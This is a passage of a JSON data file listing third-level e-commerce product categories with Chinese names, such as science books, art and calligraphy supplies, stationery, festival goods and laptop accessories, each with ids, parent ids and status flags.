,"extra":null,"is_get_child":false},{"id":23324,"name":"科普读物","parent_cid":20345,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23270,"name":"气象学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23327,"name":"生命科学/生物学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23274,"name":"生物学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23237,"name":"数学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23268,"name":"天文学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23273,"name":"物理学","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23333,"name":"自然科学史/研究方法","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23345,"name":"自然科学总论","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23344,"name":"其它科学技术","parent_cid":20345,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23355,"name":"成功","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23356,"name":"礼仪","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23354,"name":"励志","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23358,"name":"谋略","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23372,"name":"情商与情绪","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23359,"name":"求职/面试","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23365,"name":"人际沟通","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23366,"name":"时间管理","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23371,"name":"心灵与修养","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23360,"name":"演讲/口才","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23357,"name":"职场","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23367,"name":"自我实现","parent_cid":20353,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":26495,"name":"笔搁","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26494,"name":"笔挂","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26493,"name":"笔帘","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26522,"name":"丙烯颜料","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26496,"name":"笔洗","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26534,"name":"电动喷绘笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26514,"name":"调色板","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26515,"name":"调色盒","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26516,"name":"调色纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26532,"name":"儿童填色本","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26537,"name":"工笔填色套装","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26506,"name":"勾线笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26524,"name":"国画颜料","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26501,"name":"画板/画架","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26505,"name":"绘图/白图纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26498,"name":"蜡笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26491,"name":"毛笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26507,"name":"毛边纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26527,"name":"毛笔字帖","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26503,"name":"描图/硫酸纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26500,"name":"墨块/墨丸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26518,"name":"铅画纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26520,"name":"揉擦笔/揉擦绵","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26517,"name":"软头笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26535,"name":"色彩风干器/速干器","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26497,"name":"色卡","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26513,"name":"石膏像","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26538,"name":"书法绘画学习套装","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26523,"name":"书法用纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26531,"name":"书画毛毡垫","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26509,"name":"水彩笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26528,"name":"水彩颜料","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26519,"name":"水彩纸/本/水彩水粉颜料本","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26502,"name":"水粉/水彩/油画专用笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26529,"name":"水粉颜料","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26508,"name":"水写布","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26504,"name":"素描/素写本","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26536,"name":"万年红对联纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26526,"name":"文房墨汁","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26525,"name":"文房四宝","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26521,"name":"写生车/多功能画车","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26490,"name":"宣纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26492,"name":"砚台","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26512,"name":"油画棒","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26510,"name":"油画布","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26511,"name":"油画框","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26530,"name":"油画颜料","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26499,"name":"镇纸","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26533,"name":"智能取色笔","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26489,"name":"其它","parent_cid":21043,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27480,"name":"白板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27487,"name":"白板笔","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27490,"name":"标志牌/提示牌","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27484,"name":"地球仪","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27481,"name":"粉笔","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27483,"name":"黑板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27478,"name":"教鞭","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27492,"name":"教学仪器/实验器材","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27486,"name":"激光笔","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27489,"name":"计划表","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27482,"name":"绿板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27485,"name":"模拟人","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27479,"name":"旗帜","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27491,"name":"软木板/照片板/毛毡板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27488,"name":"荧光板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27477,"name":"展板","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32001,"name":"其他","parent_cid":21341,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26030,"name":"圆规/尺类/测量用品","parent_cid":20910,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26159,"name":"本册/便签","parent_cid":20961,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26141,"name":"笔袋","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26140,"name":"笔类","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26221,"name":"补习袋","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26170,"name":"彩泥/橡皮泥","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26316,"name":"成品印章/学生用印","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26169,"name":"剪刀/美工刀","parent_cid":20961,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26325,"name":"胶带切割器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26163,"name":"胶水/胶棒/胶带","parent_cid":20961,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26250,"name":"卷笔刀/削笔器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26280,"name":"可爱印泥","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26251,"name":"练字帖/练字板","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26326,"name":"视力保护器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26138,"name":"书皮","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26220,"name":"文具盒","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26314,"name":"文具套装/礼盒","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26219,"name":"握笔器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26139,"name":"橡皮","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26215,"name":"修正带","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26217,"name":"修正贴","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26216,"name":"修正液","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26281,"name":"学生书包","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26218,"name":"压花器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26164,"name":"圆规/尺类/测量用品","parent_cid":20961,"level":3,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":26282,"name":"装订文具","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":26324,"name":"桌面清洁器","parent_cid":20961,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27758,"name":"成人教育音像","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27634,"name":"电视剧","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27563,"name":"电影","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27633,"name":"动画碟","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27664,"name":"生活百科","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27663,"name":"戏曲综艺","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27597,"name":"音乐CD/DVD/黑胶唱片/u盘","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27594,"name":"育儿/儿童教育音像","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27562,"name":"其它","parent_cid":21418,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27593,"name":"保健/心理类书籍","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27568,"name":"报纸","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27564,"name":"传记","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27578,"name":"地图/地理","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27676,"name":"儿童读物/教辅","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27572,"name":"法律","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27649,"name":"工具书/百科全书","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27590,"name":"工业/农业技术","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27574,"name":"管理","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27566,"name":"古籍","parent_cid":21419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27731,"name":"国外原版书/台版、港版书","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27575,"name":"经济","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27640,"name":"计算机/网络","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27582,"name":"考试/教材/论文","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27565,"name":"历史","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27571,"name":"旅游","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27591,"name":"漫画/动漫小说","parent_cid":21419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27669,"name":"社会科学","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27573,"name":"生活","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27665,"name":"体育运动","parent_cid":21419,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27589,"name":"外语/语言文字","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27569,"name":"文化","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27570,"name":"文学","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27567,"name":"小说","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27576,"name":"艺术","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27666,"name":"医学卫生","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27670,"name":"育儿书籍","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27667,"name":"娱乐时尚","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27668,"name":"政治军事","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27671,"name":"自然科学","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27677,"name":"自我实现/励志","parent_cid":21419,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":27585,"name":"古籍/古典(1911年前)","parent_cid":21420,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27580,"name":"经管/励志","parent_cid":21420,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27579,"name":"生活/社科","parent_cid":21420,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27550,"name":"现/当代文学小说","parent_cid":21420,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27721,"name":"学习考试类","parent_cid":21420,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27819,"name":"灯笼","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27890,"name":"电子鞭炮","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27818,"name":"对联","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27820,"name":"福字","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27830,"name":"贺卡/卡片","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27910,"name":"角色扮演类用品","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27894,"name":"节庆礼盒","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27821,"name":"门幅","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27822,"name":"门神","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27887,"name":"圣诞服饰","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27888,"name":"圣诞礼品","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27860,"name":"圣诞鹿","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27857,"name":"圣诞帽","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27858,"name":"圣诞树","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27859,"name":"圣诞袜","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27903,"name":"圣诞装饰品","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27889,"name":"生肖用品","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27856,"name":"中国结","parent_cid":21486,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27912,"name":"文化创意包/袋","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27917,"name":"文化创意杯垫/餐垫","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27915,"name":"文化创意杯子","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27920,"name":"文化创意冰箱贴","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27916,"name":"文化创意餐具","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27921,"name":"文化创意化妆镜","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27922,"name":"文化创意明信片","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27919,"name":"文化创意钱包/购物收纳袋","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":34383,"name":"文化创意扇/伞","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":27913,"name":"文化创意手环","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27918,"name":"文化创意邮册/出版物/徽章","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":27911,"name":"文化衫","parent_cid":21491,"level":3,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":33547,"name":"背夹电源","parent_cid":33500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33545,"name":"户外电源","parent_cid":33500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33546,"name":"移动电源","parent_cid":33500,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33593,"name":"笔记本保护壳","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33599,"name":"笔记本电池","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33598,"name":"笔记本电脑包","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33596,"name":"笔记本电源","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33589,"name":"笔记本多功能支架/桌","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33595,"name":"笔记本个性小贴纸","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33588,"name":"笔记本键盘保护膜","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33590,"name":"笔记本零部件","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33597,"name":"笔记本屏幕贴膜","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33591,"name":"笔记本散热器/降温卡","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33592,"name":"笔记本膝上桌","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33600,"name":"键盘刷","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33601,"name":"苹果视频线/转换线","parent_cid":33506,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33564,"name":"电纸书充电器","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33562,"name":"电纸书防护包","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33563,"name":"电纸书屏幕贴膜","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33565,"name":"电子书保护套","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33566,"name":"电子书灯","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33567,"name":"电子书手写笔/电磁笔","parent_cid":33502,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22238,"name":"对讲机","parent_cid":20134,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22239,"na